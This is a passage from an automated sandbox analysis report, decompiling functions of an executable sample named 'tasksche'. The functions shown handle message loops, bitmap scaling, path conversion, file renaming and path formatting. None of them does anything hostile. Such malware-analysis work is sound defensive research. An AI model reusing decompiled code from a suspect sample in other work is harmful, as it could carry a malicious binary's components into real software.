Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

_wcslen.LIBCMT ref: 0040A94C
_wcscpy.LIBCMT ref: 0040A9BE

Strings

sfx, xrefs: 0040A8F7
.rar, xrefs: 0040A8B8
exe, xrefs: 0040A8E8
rar, xrefs: 0040A906

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$_wcscpy$_wcsncat_wcsrchr
String ID: .rar$exe$rar$sfx
API String ID: 1023950463-630704357
Opcode ID: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction ID: 29a0ca65efafee0ddffcc544de8f71498ac5d95f7ded716494b7ad5447c572c4
Opcode Fuzzy Hash: 9e98728e43a4f5731da7381b6b017391db5884caad39c64eb22fb19538172cba
Instruction Fuzzy Hash: 233106B170431056C3206B259C46A7B63A8DF05794B264C3BF882BB1E1E77C98E2925F

Uniqueness

Uniqueness Score: -1.00%

Function 0041963B Relevance: 13.6, APIs: 9, Instructions: 133
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0041963B(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				long _v16;
				struct tagMSG _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t43;
				intOrPtr* _t47;
				signed int _t48;
				signed int _t51;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t62;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t75;
				WCHAR* _t76;
				void* _t90;

				_t75 = GetTickCount;
				_t90 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = GetTickCount();
				while(1) {
					_t43 = _a4;
					_push( &_v8);
					_push(_t43);
					if( *((intOrPtr*)( *_t43 + 0x48))() >= 0 && _v8 != 0) {
						break;
					}
					if(GetTickCount() - _v16 > 0x7d0) {
						break;
					} else {
						if(PeekMessageW( &_v44, 0, 0, 0, 0) != 0) {
							GetMessageW( &_v44, 0, 0, 0);
							TranslateMessage( &_v44);
							DispatchMessageW( &_v44);
						}
						continue;
					}
				}
				_t47 = _a4;
				_t48 =  *((intOrPtr*)( *_t47 + 0x48))(_t47,  &_v8);
				__eflags = _t48;
				_a4 = _t48;
				if(_t48 < 0) {
					L15:
					__eflags =  *(_t90 + 8);
					if( *(_t90 + 8) != 0) {
						__eflags =  *(_t90 + 0x18);
						if( *(_t90 + 0x18) == 0) {
							_t51 =  *(_t90 + 0x14);
							__eflags = _t51;
							if(__eflags != 0) {
								_push(_t51);
								_t76 = E0041947D(_t75, _t90, __eflags);
								__eflags = _t76;
								if(__eflags != 0) {
									SetWindowPos( *(_t90 + 4), 1, 0, 0, 0, 0, 0x204);
									ShowWindow( *(_t90 + 8), 5);
									SetWindowTextW( *(_t90 + 8), _t76);
									_push(_t76);
									E0041A506(_t76, _t90, 0, __eflags);
								}
							}
						}
					}
					L20:
					__eflags = _a4;
					_t41 = _a4 >= 0;
					__eflags = _t41;
					return 0 | _t41;
				}
				_t57 = _v8;
				__eflags = _t57;
				if(_t57 == 0) {
					L13:
					__eflags = _a4;
					if(_a4 < 0) {
						goto L15;
					}
					__eflags = _v8;
					if(_v8 != 0) {
						goto L20;
					}
					goto L15;
				}
				_t58 =  *((intOrPtr*)( *_t57))(_t57, 0x42b158,  &_v12);
				__eflags = _t58;
				_a4 = _t58;
				if(_t58 < 0) {
					L12:
					_t59 = _v8;
					 *((intOrPtr*)( *_t59 + 8))(_t59);
					goto L13;
				}
				_t61 = _v12;
				_t62 =  *((intOrPtr*)( *_t61 + 0x20))(_t61);
				__eflags = _t62;
				_a4 = _t62;
				if(_t62 >= 0) {
					_t65 = _v12;
					_a4 =  *((intOrPtr*)( *_t65 + 0x14))(_t65, _a8);
				}
				_t63 = _v12;
				 *((intOrPtr*)( *_t63 + 8))(_t63);
				goto L12;
			}

0x00419642
0x0041964c
0x0041964e
0x00419651
0x00419656
0x00419659
0x00419659
0x00419661
0x00419662
0x00419668
0x00000000
0x00000000
0x00419679
0x00000000
0x0041967b
0x0041968b
0x00419694
0x0041969e
0x004196a8
0x004196a8
0x00000000
0x0041968b
0x00419679
0x004196b0
0x004196ba
0x004196bd
0x004196bf
0x004196c2
0x0041971b
0x0041971b
0x0041971e
0x00419720
0x00419723
0x00419725
0x00419728
0x0041972a
0x0041972c
0x00419734
0x00419736
0x00419738
0x00419748
0x00419753
0x0041975d
0x00419763
0x00419764
0x00419769
0x00419738
0x0041972a
0x00419723
0x0041976a
0x0041976c
0x00419771
0x00419771
0x00419776
0x00419776
0x004196c4
0x004196c7
0x004196c9
0x00419711
0x00419711
0x00419714
0x00000000
0x00000000
0x00419716
0x00419719
0x00000000
0x00000000
0x00000000
0x00419719
0x004196d7
0x004196d9
0x004196db
0x004196de
0x00419708
0x00419708
0x0041970e
0x00000000
0x0041970e
0x004196e0
0x004196e6
0x004196e9
0x004196eb
0x004196ee
0x004196f0
0x004196fc
0x004196fc
0x004196ff
0x00419705
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00419654
GetTickCount.KERNEL32 ref: 0041966F
PeekMessageW.USER32 ref: 00419683
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00419694
TranslateMessage.USER32(?), ref: 0041969E
DispatchMessageW.USER32 ref: 004196A8
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000204,?), ref: 00419748
ShowWindow.USER32(?,00000005), ref: 00419753
SetWindowTextW.USER32(?,00000000), ref: 0041975D

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$Window$CountTick$DispatchErrorFreeHeapLastPeekShowTextTranslate___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 1762286965-0
Opcode ID: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction ID: 0fcf3197ed2ac79a16e8f935243f891c0de6f754acb5965f6be033bd159a0870
Opcode Fuzzy Hash: bafafa4dd8c757d95478da334cf2287ee3efff84a52d295e05523efa741214d2
Instruction Fuzzy Hash: F4412871A00219EFCB10EFA5C8989DEBB79FF49751B10846AF905D7250D738DE81CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419EA0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184
comCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00419EA0(void* __edx, long long __fp0, void* _a4, signed int _a8, void* _a12) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				signed int _v32;
				struct HDC__* _v36;
				void* _v40;
				signed int _v56;
				signed int _v60;
				void _v64;
				struct HDC__* _v92;
				short _v94;
				short _v96;
				signed int _v100;
				signed int _v104;
				struct tagBITMAPINFO _v108;
				void* __edi;
				signed int _t76;
				char* _t77;
				void* _t78;
				intOrPtr* _t79;
				void* _t80;
				intOrPtr* _t81;
				intOrPtr* _t84;
				intOrPtr* _t86;
				short _t94;
				signed int _t97;
				intOrPtr* _t101;
				intOrPtr* _t103;
				intOrPtr* _t105;
				intOrPtr* _t107;
				intOrPtr* _t109;
				intOrPtr* _t111;
				intOrPtr* _t114;
				intOrPtr* _t117;
				signed int _t121;
				intOrPtr _t127;
				void* _t147;
				signed int _t151;
				long long* _t153;
				long long _t156;

				_t156 = __fp0;
				if(E00419E75() != 0) {
					GetObjectW(_a4, 0x18,  &_v64);
					_t151 = _a8;
					asm("cdq");
					_t76 = _v56 * _t151 / _v60;
					_t121 = _a12;
					if(_t76 < _t121) {
						_t121 = _t76;
					}
					_t77 =  &_v8;
					__imp__CoCreateInstance(0x42b208, 0, 1, 0x42b100, _t77, _t147);
					if(_t77 < 0) {
						L17:
						_t78 = _a4;
						goto L18;
					} else {
						_t79 = _v8;
						_t80 =  *((intOrPtr*)( *_t79 + 0x54))(_t79, _a4, 0, 2,  &_v12);
						_t81 = _v8;
						if(_t80 < 0) {
							L10:
							 *((intOrPtr*)( *_t81 + 8))(_t81);
							goto L17;
						}
						_push( &_v16);
						_v16 = 0;
						_push(_t81);
						if( *((intOrPtr*)( *_t81 + 0x28))() < 0) {
							L9:
							_t84 = _v12;
							 *((intOrPtr*)( *_t84 + 8))(_t84);
							_t81 = _v8;
							goto L10;
						}
						_t86 = _v16;
						asm("fldz");
						_t127 =  *_t86;
						_push(0);
						_push(_t127);
						_push(_t127);
						 *_t153 = _t156;
						_push(0);
						_push(0);
						_push(0x42b218);
						_push(_v12);
						_push(_t86);
						if( *((intOrPtr*)(_t127 + 0x20))() >= 0) {
							E0041A820(0,  &_v108, 0, 0x2c);
							_v100 =  ~_t121;
							_v96 = 1;
							_t94 = 0x20;
							_v94 = _t94;
							_v108.bmiHeader = 0x28;
							_v104 = _t151;
							_v92 = 0;
							_v20 = 0;
							_t97 = CreateDIBSection(0,  &_v108, 0,  &_v24, 0, 0);
							_a12 = _t97;
							asm("sbb eax, eax");
							if(( ~_t97 & 0x7ff8fff2) + 0x8007000e >= 0) {
								_t107 = _v8;
								 *((intOrPtr*)( *_t107 + 0x2c))(_t107,  &_a8);
								_t109 = _a8;
								 *((intOrPtr*)( *_t109 + 0x20))(_t109, _v12, _t151, _t121, 3);
								_push(_v24);
								_t111 = _a8;
								_push(_t151 * _t121 << 2);
								_push(_t151 << 2);
								_push( &_v40);
								_v40 = 0;
								_v36 = 0;
								_v32 = _t151;
								_v28 = _t121;
								_push(_t111);
								if( *((intOrPtr*)( *_t111 + 0x1c))() < 0) {
									DeleteObject(_a12);
								} else {
									_v20 = _a12;
								}
								_t114 = _a8;
								 *((intOrPtr*)( *_t114 + 8))(_t114);
							}
							_t101 = _v12;
							 *((intOrPtr*)( *_t101 + 8))(_t101);
							_t103 = _v16;
							 *((intOrPtr*)( *_t103 + 8))(_t103);
							_t105 = _v8;
							 *((intOrPtr*)( *_t105 + 8))(_t105);
							_t78 = _v20;
							if(_t78 != 0) {
								L18:
								return _t78;
							} else {
								goto L17;
							}
						}
						_t117 = _v16;
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						goto L9;
					}
				}
				return E00419D0B(_a4, _a8, _a12);
			}

0x00419ea0
0x00419ead
0x00419ecd
0x00419ed6
0x00419edc
0x00419edd
0x00419ee0
0x00419ee5
0x00419ee7
0x00419ee7
0x00419eea
0x00419efd
0x00419f05
0x0041a056
0x0041a056
0x00000000
0x00419f0b
0x00419f0b
0x00419f1b
0x00419f20
0x00419f23
0x00419f6a
0x00419f6d
0x00000000
0x00419f6d
0x00419f28
0x00419f29
0x00419f2e
0x00419f34
0x00419f5e
0x00419f5e
0x00419f64
0x00419f67
0x00000000
0x00419f67
0x00419f36
0x00419f39
0x00419f3b
0x00419f3d
0x00419f3e
0x00419f3f
0x00419f40
0x00419f43
0x00419f44
0x00419f45
0x00419f4a
0x00419f4d
0x00419f53
0x00419f7c
0x00419f88
0x00419f90
0x00419f94
0x00419f97
0x00419fa5
0x00419fac
0x00419faf
0x00419fb2
0x00419fb5
0x00419fbb
0x00419fc0
0x00419fcc
0x00419fce
0x00419fd8
0x00419fdb
0x00419fe8
0x00419feb
0x00419fee
0x00419ff9
0x00419fff
0x0041a003
0x0041a004
0x0041a007
0x0041a00a
0x0041a00d
0x0041a012
0x0041a018
0x0041a025
0x0041a01a
0x0041a01d
0x0041a01d
0x0041a02b
0x0041a031
0x0041a031
0x0041a034
0x0041a03a
0x0041a03d
0x0041a043
0x0041a046
0x0041a04c
0x0041a04f
0x0041a054
0x0041a059
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a054
0x00419f55
0x00419f5b
0x00000000
0x00419f5b
0x00419f05
0x00000000

APIs

Part of subcall function 00419E75: GetDC.USER32(00000000), ref: 00419E79
Part of subcall function 00419E75: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00419E84
Part of subcall function 00419E75: ReleaseDC.USER32 ref: 00419E8F

GetObjectW.GDI32(00000200,00000018,?,00000000,76D7BB20), ref: 00419ECD
CoCreateInstance.OLE32(0042B208,00000000,00000001,0042B100,?,00000000,?), ref: 00419EFD

Part of subcall function 00419D0B: GetDC.USER32(00000000), ref: 00419D17
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(00000000), ref: 00419D27
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(?), ref: 00419D2E
Part of subcall function 00419D0B: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
Part of subcall function 00419D0B: CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419D71
Part of subcall function 00419D0B: SelectObject.GDI32(?,00000200), ref: 00419D7C
Part of subcall function 00419D0B: StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419DA4
Part of subcall function 00419D0B: SelectObject.GDI32(?,00419EBD), ref: 00419DAC
Part of subcall function 00419D0B: DeleteDC.GDI32(00000000), ref: 00419DB5
Part of subcall function 00419D0B: DeleteDC.GDI32(?), ref: 00419DBA
Part of subcall function 00419D0B: ReleaseDC.USER32 ref: 00419DC0

Strings

(, xrefs: 00419FA5
p["u k"u, xrefs: 0041A025

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$DeleteRelease$BitmapCapsDeviceInstanceStretch
String ID: ($p["u k"u
API String ID: 189428636-4121188302
Opcode ID: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction ID: d8cf3f11634150c5eb1370622c6fe0712570af28e2ae67cdae83cea958a68594
Opcode Fuzzy Hash: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction Fuzzy Hash: 21610875A00209EFCB00DFA5D888EEEBBB9FF89704B10845AF815EB250D7759E51CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004084EE Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004084EE() {
				void* __ebx;
				void* _t38;
				short _t39;
				long _t41;
				void* _t46;
				short _t48;
				void* _t73;
				WCHAR* _t74;
				void* _t76;
				void* _t83;
				void* _t86;
				void* _t87;
				void* _t91;
				void* _t93;

				E0041A4DC(E004296F3, _t91);
				E0041AAF0(0x5028);
				_t74 =  *(_t91 + 8);
				_t38 = _t91 - 0x5034;
				__imp__GetLongPathNameW(_t74, _t38, 0x800, _t83, _t87, _t73);
				if(_t38 == 0 || _t38 >= 0x800) {
					L19:
					_t39 = 0;
					__eflags = 0;
				} else {
					_t41 = GetShortPathNameW(_t74, _t91 - 0x4034, 0x800);
					if(_t41 == 0) {
						goto L19;
					} else {
						_t98 = _t41 - 0x800;
						if(_t41 >= 0x800) {
							goto L19;
						} else {
							 *((intOrPtr*)(_t91 - 0x10)) = E0040A5DB(_t98, _t91 - 0x5034);
							_t85 = E0040A5DB(_t98, _t91 - 0x4034);
							if( *_t45 == 0) {
								goto L19;
							} else {
								_t46 = E00411E60( *((intOrPtr*)(_t91 - 0x10)), _t85);
								_t100 = _t46;
								if(_t46 == 0) {
									goto L19;
								} else {
									_t48 = E00411E60(E0040A5DB(_t100, _t74), _t85);
									if(_t48 != 0) {
										goto L19;
									} else {
										 *(_t91 - 0x1010) = _t48;
										_t86 = 0;
										while(1) {
											_t103 =  *(_t91 - 0x1010);
											if( *(_t91 - 0x1010) != 0) {
												break;
											}
											E00410B9C(_t91 - 0x1010, _t74, 0x800);
											E0040BC16(E0040A5DB(_t103, _t91 - 0x1010), 0x800, L"rtmp%d", _t86);
											_t93 = _t93 + 0x10;
											if(E004092A5(_t91 - 0x1010) != 0) {
												 *(_t91 - 0x1010) = 0;
											}
											_t86 = _t86 + 0x7b;
											if(_t86 < 0x2710) {
												continue;
											} else {
												_t107 =  *(_t91 - 0x1010);
												if( *(_t91 - 0x1010) == 0) {
													goto L19;
												} else {
													break;
												}
											}
											goto L20;
										}
										E00410B9C(_t91 - 0x3034, _t74, 0x800);
										_push(0x800);
										E0040A745(_t107, _t91 - 0x3034,  *((intOrPtr*)(_t91 - 0x10)));
										if(MoveFileW(_t91 - 0x3034, _t91 - 0x1010) == 0) {
											goto L19;
										} else {
											E00408786(_t91 - 0x2034);
											 *(_t91 - 4) =  *(_t91 - 4) & 0x00000000;
											_t76 = 0;
											if(E004092A5( *(_t91 + 8)) == 0) {
												_t76 = E00408923(_t91 - 0x2034,  *(_t91 + 8), 0x12);
											}
											MoveFileW(_t91 - 0x1010, _t91 - 0x3034);
											if(_t76 != 0) {
												E00408A32(_t91 - 0x2034);
												E00408A80(_t91 - 0x2034);
											}
											 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
											E00408C7D(_t76, _t91 - 0x2034);
											_t39 = 1;
										}
									}
								}
							}
						}
					}
				}
				L20:
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t39;
			}

0x004084f3
0x004084fd
0x00408503
0x0040850e
0x00408516
0x0040851e
0x004086ab
0x004086ab
0x004086ab
0x0040852c
0x00408535
0x0040853d
0x00000000
0x00408543
0x00408543
0x00408545
0x00000000
0x0040854b
0x00408557
0x00408566
0x0040856c
0x00000000
0x00408572
0x00408576
0x0040857b
0x0040857d
0x00000000
0x00408583
0x0040858b
0x00408592
0x00000000
0x00408598
0x00408598
0x0040859f
0x004085a1
0x004085a1
0x004085a9
0x00000000
0x00000000
0x004085b4
0x004085cd
0x004085d2
0x004085e3
0x004085e7
0x004085e7
0x004085ee
0x004085f7
0x00000000
0x004085f9
0x004085f9
0x00408601
0x00000000
0x00000000
0x00000000
0x00000000
0x00408601
0x00000000
0x004085f7
0x00408610
0x00408615
0x00408620
0x0040863d
0x00000000
0x0040863f
0x00408645
0x0040864d
0x00408651
0x0040865a
0x0040866c
0x0040866c
0x0040867c
0x00408680
0x00408688
0x00408693
0x00408693
0x00408698
0x004086a2
0x004086a7
0x004086a7
0x0040863d
0x00408592
0x0040857d
0x0040856c
0x00408545
0x0040853d
0x004086ad
0x004086b3
0x004086bb

APIs

__EH_prolog.LIBCMT ref: 004084F3
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00408516
GetShortPathNameW.KERNEL32 ref: 00408535

Part of subcall function 0040A5DB: _wcslen.LIBCMT ref: 0040A5E1

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00409CA8,?,?,?,00409DC2,?,-00000002,?,00000000,?), ref: 00411E76

_swprintf.LIBCMT ref: 004085CD

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

MoveFileW.KERNEL32(?,00000000), ref: 00408639
MoveFileW.KERNEL32(00000000,?), ref: 0040867C

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

Strings

rtmp%d, xrefs: 004085BA

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen_wcsncpy
String ID: rtmp%d
API String ID: 506780119-3303766350
Opcode ID: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction ID: 086441498323e4bc326e09acd5d1366d0aff3811eaae5beb392a373780c828d6
Opcode Fuzzy Hash: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction Fuzzy Hash: DE415E71901218AACB20EB61CE45EDF777CAF00394F0008ABB585B7181EA7D9B959E68

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA7D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AA7D(void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t27;
				signed int _t29;
				signed short* _t30;

				_t20 = _a8;
				_t30 = _a4;
				 *_t20 = 0;
				_t10 = E0040A0EA(_t30);
				if(_t10 == 0) {
					_t27 = 0x5c;
					if( *_t30 == _t27 && _t30[1] == _t27) {
						_t5 =  &(_t30[2]); // 0x4
						_t10 = E0041CA29(_t5, _t27);
						if(_t10 != 0) {
							_t13 = E0041CA29(_t10 + 2, _t27);
							if(_t13 == 0) {
								_t14 = E0041A7AF(_t30);
							} else {
								_t14 = (_t13 - _t30 >> 1) + 1;
							}
							_t29 = _t14;
							if(_t29 >= _a12) {
								_t29 = 0;
							}
							E0041C853(_t20, _t30, _t29);
							_t10 = 0;
							 *((short*)(_t20 + _t29 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E0040BC16(_t20, _a12, L"%c:\\",  *_t30 & 0x0000ffff);
			}

0x0040aa7e
0x0040aa83
0x0040aa8a
0x0040aa8d
0x0040aa94
0x0040aab1
0x0040aab5
0x0040aabd
0x0040aac2
0x0040aacb
0x0040aad2
0x0040aadb
0x0040aae5
0x0040aadd
0x0040aae1
0x0040aae1
0x0040aaeb
0x0040aaf1
0x0040aaf3
0x0040aaf3
0x0040aaf8
0x0040ab00
0x0040ab02
0x0040ab02
0x0040aacb
0x00000000
0x0040ab06
0x00000000

APIs

_swprintf.LIBCMT ref: 0040AAA4

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

_wcschr.LIBCMT ref: 0040AAC2
_wcschr.LIBCMT ref: 0040AAD2
_wcsncpy.LIBCMT ref: 0040AAF8

Strings

%c:\, xrefs: 0040AA9A
%s.%d.tmp, xrefs: 0040AA82

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf_wcsncpy
String ID: %c:\$%s.%d.tmp
API String ID: 2474501127-1021493711
Opcode ID: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction ID: b4756b8e91951cb7d51e69898c9cc4431ccaeceaeab60524178106c8bdd82eb4
Opcode Fuzzy Hash: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction Fuzzy Hash: 8101042320431169DA20EB769C45C6B73ACDFD93A0B00883FF584E31C1EA78D4A0C27B

Uniqueness

Uniqueness Score: -1.00%

Function 004192D0 Relevance: 12.1, APIs: 8, Instructions: 71
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004192D0(intOrPtr __ecx) {
				long _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v24;
				short _v32;
				struct tagMSG _v60;
				void* _t23;
				intOrPtr* _t25;
				short _t28;
				intOrPtr* _t30;

				_v12 = __ecx;
				_v8 = GetTickCount();
				_t23 = GetTickCount() - _v8;
				while(_t23 <= 0x2710) {
					_t25 =  *((intOrPtr*)(_v12 + 0x10));
					 *((intOrPtr*)( *_t25 + 0xe0))(_t25,  &_v16);
					if(_v16 != 4) {
						if(PeekMessageW( &_v60, 0, 0, 0, 0) != 0) {
							TranslateMessage( &_v60);
							DispatchMessageW( &_v60);
							GetMessageW( &_v60, 0, 0, 0);
						}
						_t23 = GetTickCount() - _v8;
						continue;
					}
					break;
				}
				__imp__#8( &_v32);
				_t28 = 3;
				_v32 = _t28;
				_t30 =  *((intOrPtr*)(_v12 + 0x10));
				_v24 = 0x96;
				return  *((intOrPtr*)( *_t30 + 0xd8))(_t30, 0x3f, 2,  &_v32, 0);
			}

0x004192df
0x004192e4
0x004192e9
0x00419346
0x004192f8
0x00419302
0x0041930c
0x0041931e
0x00419324
0x0041932e
0x0041933b
0x0041933b
0x00419343
0x00000000
0x00419343
0x00000000
0x0041930c
0x0041934e
0x00419356
0x0041935c
0x00419363
0x0041936a
0x0041937e

APIs

GetTickCount.KERNEL32 ref: 004192E2
GetTickCount.KERNEL32 ref: 004192E7
PeekMessageW.USER32 ref: 00419316
TranslateMessage.USER32(?), ref: 00419324
DispatchMessageW.USER32 ref: 0041932E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041933B
GetTickCount.KERNEL32 ref: 00419341
VariantInit.OLEAUT32(?), ref: 0041934E

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$CountTick$DispatchInitPeekTranslateVariant
String ID:
API String ID: 4242828014-0
Opcode ID: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction ID: 9cb0af2a0f3e63d9aa0a53d062aebc77c377528e3d470f830326fa06e80cb38f
